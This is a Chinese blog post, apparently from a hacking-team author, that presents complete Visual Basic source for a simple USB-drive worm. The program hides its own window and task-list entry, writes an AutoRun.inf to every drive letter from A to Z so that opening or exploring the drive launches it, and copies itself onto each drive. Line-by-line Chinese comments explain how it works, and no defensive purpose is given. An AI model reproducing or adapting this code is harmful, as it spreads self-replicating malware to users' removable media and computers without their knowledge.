注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

K8拉登哥哥's Blog

K8搞基大队[K8team] 信息安全 网络安全 0day漏洞 渗透测试 黑客

 
 
 

日志

 
 

VB U盘病毒简化  

2013-10-04 15:49:04|  分类: VB |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
Dim i As Integer, FileNumber As Integer, ipath As String
Private Sub Form_Load()
    If App.PrevInstance Then End              '避免重复运行
    Timer1.Enabled = False
    Me.Hide                  '隐藏窗体
    App.TaskVisible = False          '不在任务管理器的窗口任务列表中显示
    ipath = App.Path & "\" & App.EXEName & ".exe"              '程序自身路径
    Timer1.Interval = 100
    Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
    On Error Resume Next              '如果出错,程序仍然可以继续向下执行
    FileNumber = FreeFile              'FreeFile函数可以得到一个系统未使用的文件号
    For i = 65 To 90              ' For...Next 循环语句,大写字母A的Ascii码为65,总共有26字母,递增到90
        Open Chr(i) & ":\AutoRun.inf" For Output As #FileNumber '在每一盘目录下生成一个AutoRun.inf,打开该文件
            Print #FileNumber, "[AutoRun]"            '将数据写入
            Print #FileNumber, "open=" & App.EXEName & ".exe"        '以下同上
            Print #FileNumber, "shell\open=打开(&O)"
            Print #FileNumber, "shell\open\Command=" & App.EXEName & ".exe"
            Print #FileNumber, "shell\open\Default=1"
            Print #FileNumber, "shell\explore=资源管理器(&X)"
            Print #FileNumber, "shell\explore\Command=" & App.EXEName & ".exe"
        Close #FileNumber '关闭打开的文件句柄
        FileCopy ipath, Chr(i) & ":\" & App.EXEName & ".exe" '复制自身到每个盘,filecopy语句,ipath是用来表示要被复制的文件名,Chr(i) & ":\" & App.EXEName & ".exe" 是用来指定要复制的目地文件名
    Next
End Sub
  评论这张
 
阅读(636)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2016